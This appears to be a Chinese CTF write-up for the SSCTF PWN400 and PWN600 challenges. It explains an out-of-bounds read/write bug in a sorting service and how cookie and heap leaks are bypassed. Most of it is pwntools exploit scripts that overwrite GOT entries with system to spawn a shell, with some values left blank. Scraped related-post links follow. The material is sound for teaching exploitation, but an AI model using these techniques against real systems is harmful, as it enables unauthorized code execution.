SSCTF-PWN
前几天比赛的PWN题,简单写了下。
PWN400
漏洞是一个数组越界访问造成的任意地址读写。在对数据排序后,对数据进行查询和更新时,可以访问到数组以外一个元素(4个字节)。
程序中存在3种数据结构,第一种是用于存储排序数据的基本块。可以定义为:
typedef struct chunk1{
int size;
int array[size];
}chunk1, *pchunk1;
第二种是用于索引这些排序数据块的基本块。可以定义为:
typedef struct chunk2{
pchunk1 data;
struct chunk2 *next;
}chunk2, *pchunk2;
第三种是用来索引前两种的基本块,在利用过程中并没有涉及到该数据结构。
通过构造内存,可以造成堆地址泄漏(这个简单,对数据进行排序后,通过越界访问就可以泄漏堆地址信息),此外,精心构造可以造成两个第一种基本块相邻接,这样就可以通过地址越界将相邻的第一种基本块的大小改为很大,造成任意地址的读和写。当然了,在该题中必须有整数溢出的一个漏洞才能达到最后的目的。
from pwn import *
import time
#context.log_level = 'debug'
#by wangaohui
s = remote('127.0.0.1', 10001) time.sleep(1)
print 'pid of pwn1 is :' + str(pwnlib.util.proc.pidof('pwn1')[0])
raw_input('go!') def sort(data):
s.sendline('sort')
s.recvuntil('How many numbers do you want to sort: ')
s.sendline(str(len(data)))
for i in data:
s.recvuntil('Enter a number: ')
s.sendline(str(i))
s.recvuntil('_CMD_$ ')
sort([1])
s.recvuntil('Choose: ')
s.sendline('')
s.recvuntil('Choose: ')
s.sendline('')
s.recvuntil('Query index: ')
s.sendline('')
s.recvuntil('Query result: ')
bigtrunk = int(s.recvuntil('\n')[:-1])
print 'leaked bigtrunk addr is %x' % bigtrunk
s.recvuntil('Choose: ')
s.sendline('') s.recvuntil('_CMD_$ ')
sort([1,2,3,4,5,6,7])
s.recvuntil('Choose: ')
s.sendline('')
s.recvuntil('Choose: ')
s.sendline('') s.sendline('clear') s.recvuntil('_CMD_$ ')
sort([1,2,3,4,5,6,7])
s.recvuntil('Choose: ')
s.sendline('')
s.recvuntil('Choose: ')
s.sendline('') s.recvuntil('_CMD_$ ')
sort([1])
s.recvuntil('Choose: ')
s.sendline('')
s.recvuntil('Update index: ')
s.sendline('')
s.recvuntil('Update number: ')
s.sendline('') #0x40000001
s.recvuntil('Update succeed!')
s.sendline('') s.recvuntil('_CMD_$ ')
s.sendline('reload')
s.recvuntil('Reload history ID: ')
s.sendline('')
s.recvuntil('Choose: ')
s.sendline('') atoigot = int('0804D020',16) + 0x100000000
index = (atoigot - (bigtrunk + 0xc))/4 s.recvuntil('Query index: ')
s.sendline(str(index))
s.recvuntil('Query result: ')
atoi = int(s.recvuntil('\n')[:-1])&0xffffffff
print 'leaked aoti addr: %x' % atoi
system = atoi - 0x2F7F0 + 0x3E360 #debug s.recvuntil('Choose: ')
s.sendline('')
s.recvuntil('Update index: ')
s.sendline(str(index))
s.recvuntil('Update number: ')
systemstr = '-' + str((system^0xffffffff)+1)
s.sendline(systemstr) s.recvuntil('Choose: ')
s.sendline('/bin/sh;')
s.interactive()
PWN600
在PWN的基础上对第一种基本块加了Cookie,并在查询和更新时利用Cookie判断该基本块是否被Corrupted。增加了Cookie后,利用难度增加,Cookie是存放在.data数据段中,通过第一种数据块覆盖第二种数据块,可以造成Cookie的泄漏。
泄漏了Cookie后,就可以构造内存,伪造第一种基本数据块,接下来的思路就和PWN400相类似,任意地址读写。我这个EXP有个成功概率的问题,不会每次都成功。
from pwn import *
import time
#context.log_level = 'debug' s = remote('127.0.0.1', 10001)
time.sleep(1)
print 'pid of pwn2 is :' + str(pwnlib.util.proc.pidof('pwn2')[0])
raw_input('go!') def sort(data):
s.sendline('sort')
s.recvuntil('How many numbers do you want to sort: ')
s.sendline(str(len(data)))
for i in data:
s.recvuntil('Enter a number: ')
s.sendline(str(i)) s.recvuntil('_CMD_$ ')
sort([1,2])
s.recvuntil('Choose: ')
s.sendline('')
s.recvuntil('Choose: ')
s.sendline('')
s.recvuntil('Query index: ')
s.sendline('')
s.recvuntil('Query result: ')
bigtrunk = int(s.recvuntil('\n')[:-1])
print 'leaked bigtrunk addr is %x' % bigtrunk s.recvuntil('Choose: ')
s.sendline('')
s.recvuntil('Update index: ')
s.sendline('')
s.recvuntil('Update number: ')
s.sendline(str(int('0804C04C',16)))
s.recvuntil('Choose: ')
s.sendline('') s.recvuntil('_CMD_$ ')
s.sendline('history')
s.recvuntil(', Len = ')
random = int(s.recvuntil(',')[:-1])
print 'leaked cookie is %x' % random s.recvuntil('_CMD_$ ')
t1 = int('',16)
t2 = t1^random
if(t2>t1):
print 'Will be Exploited!'
sort([t1,t2,t2+1,t2+2,t2+3,t2+4,t2+5,t2+6])
s.recvuntil('Choose: ')
s.sendline('')
pos = bigtrunk + 0x20
s.recvuntil('Choose: ')
s.sendline('')
s.recvuntil('Update index: ')
s.sendline('')
s.recvuntil('Update number: ')
s.sendline(str(pos))
s.recvuntil('Choose: ')
s.sendline('') s.recvuntil('_CMD_$ ')
s.sendline('reload') base = bigtrunk + 0x50
atol_got = 0x10804C01C
index = (atol_got - base)/4
print 'index is %d' % index
s.recvuntil('Reload history ID: ')
s.sendline('')
s.recvuntil('Choose: ')
s.sendline('')
s.recvuntil('Query index: ')
s.sendline(str(index))
s.recvuntil('Query result: ')
atol = int(s.recvuntil('\n')[:-1])&0xffffffff
system = atol - 0x000327B0 + 0x0003E360
print 'leaked system addr is %x' % system
systemstr = '-' + str((system^0xffffffff)+1) s.recvuntil('Choose: ')
s.sendline('')
s.recvuntil('Update index: ')
s.sendline(str(index))
s.recvuntil('Update number: ')
s.sendline(systemstr)
s.recvuntil('Update succeed!')
s.recvuntil('Choose: ') s.sendline('/bin/sh;')
s.interactive()
SSCTF-PWN的更多相关文章
- SSCTF Final PWN
比赛过去了两个月了,抽出时间,将当时的PWN给总结一下. 和线上塞的题的背景一样,只不过洞不一样了.Checksec一样,发现各种防护措施都开了. 程序模拟了简单的堆的管理,以及cookie的保护机制 ...
- Pwn~
Pwn Collections Date from 2016-07-11 Difficult rank: $ -> $$... easy -> hard CISCN 2016 pwn-1 ...
- iscc2016 pwn部分writeup
一.pwn1 简单的32位栈溢出,定位溢出点后即可写exp gdb-peda$ r Starting program: /usr/iscc/pwn1 C'mon pwn me : AAA%AAsAAB ...
- i春秋30强挑战赛pwn解题过程
80pts: 栈溢出,gdb调试发现发送29控制eip,nx:disabled,所以布置好shellcode后getshell from pwn import * #p=process('./tc1' ...
- pwn学习(1)
0x00 简介 入职之后,公司发布任务主搞pwn和re方向,re之前还有一定的了解,pwn我可真是个弟弟,百度了一番找到了蒸米大佬的帖子,现在开始学习. 0x01 保护方式 NX (DEP):堆栈不可 ...
- pwn学习之四
本来以为应该能出一两道ctf的pwn了,结果又被sctf打击了一波. bufoverflow_a 做这题时libc和堆地址都泄露完成了,卡在了unsorted bin attack上,由于delete ...
- pwn学习之三
whctf2017的一道pwn题sandbox,这道题提供了两个可执行文件加一个libc,两个可执行文件是一个vuln,一个sandbox,这是一道通过沙盒去保护vuln不被攻击的题目. 用ida打开 ...
- pwn学习之二
刚刚开始学习pwn,记录一下自己学习的过程. 今天get了第二道pwn题目的解答,做的题目是2017年TSCTF的easy fsb,通过这道题了解了一种漏洞和使用该漏洞获取shell的方法:即格式化字 ...
- pwn学习之一
刚刚开始学习pwn,记录一下自己学习的过程. 今天完成了第一道pwn题目的解答,做的题目是2017年TSCTF的bad egg,通过这道题学习到了一种getshell的方法:通过在大小不够存储shel ...
- kernel pwn 入门环境搭建
刚开始上手kernel pwn,光环境就搭了好几天,应该是我太菜了.. 好下面进入正题,环境总共就由两部分构成,qemu和gdb.这两个最好都需要使用源码安装. 我使用的安装环境为 qemu:安装前要 ...
随机推荐
- hdu 5626 Clarke and points
Problem Description Clarke is a patient with multiple personality disorder. One day he turned into a ...
- IOS 排序算法
/** * @brief 冒泡排序法 * * @param arr 需要排序的数组 */ -(void)BubbleSort:(NSMutableArray *)arr { // 取第一个与其邻接的对 ...
- 修改linux共享内存大小
这是实际linux系统显示的实际数据: beijibing@bjb-desktop:/proc/sys/kernel$ cat shmmax 33554432 beijibing@bjb-deskt ...
- 【高精度练习+卡特兰数】【Uva1133】Buy the Ticket
Buy the Ticket Time Limit: 2000/1000 MS (Java/Others) Memory Limit: 65536/32768 K (Java/Others) T ...
- 【SQL】大杂烩
--------------------------------- 索引 --------------------------------- 语法: CREATE [索引类型] INDEX 索引名称 ...
- css3动画学习的例子来源
1.这里面有不同的鼠标经过图片效果,图片变大变小,出现文字,向左移动等等 http://dinolatoga.com/demo/webkit-image-hover-effects/ 2.有一篇博客, ...
- linq读书笔记3-操作符之select与selectmany
linq对数据的查询方式的表达形式主要有两种: var demo =from p in pList where p.id=*** select p; var demo =pList.where(p=& ...
- PHP学习笔记七【函数】
<?php $a=13; function abc3($a) { unset($a);//[释放给定变量]表示不在abc3函数范围内,不在使用$a,后面需要全新定义 $a=45; } abc(3 ...
- Javascript DOM编程艺术JS代码
//com function addLoadEvent (func) { var oldonload = window.onload; if (typeof window.onload != 'fun ...
- 《C++ Primer Plus 6th》读书笔记 - 第十一章 使用类
1. 运算符重载 2. 计算时间:一个运算符重载示例 3. 友元 1. 友元有三种: 友元函数 友元类 友元成员函数 4. 重载运算符:作为成员函数还是非成员函数 5. 再谈重载:一个矢量类 6. 类 ...